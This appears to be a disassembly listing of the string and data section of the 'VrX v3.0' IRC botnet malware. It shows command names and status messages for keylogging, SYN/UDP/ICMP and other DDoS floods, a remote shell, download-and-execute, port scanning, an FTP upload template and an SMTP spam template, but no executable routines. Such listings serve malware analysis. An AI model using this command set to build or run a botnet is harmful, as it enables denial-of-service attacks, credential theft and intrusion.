db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+76DFo
dd 27732527h, 2Eh
unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+7550o
dd 2Eh
dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_408F9Do
dd 746E6573h, 2Eh
unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+748Fo
dd 732520h
unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42A080: ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 4
unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 10h
unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 10h
unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 10h
unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 10h
dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 10h
unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 4
dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 10h
unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 4
unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 10h
unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
aP: ; DATA XREF: sub_401ACD+4F31o
; ___:00438AF0o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
aU: ; DATA XREF: sub_401ACD+4EBEo
; ___:00438B00o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 10h
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 10h
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 4
aE: ; DATA XREF: sub_401ACD+49DAo
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 4
aM: ; DATA XREF: sub_401ACD+47E0o
; ___:004387C8o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 4
aA: ; DATA XREF: sub_401ACD+4784o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
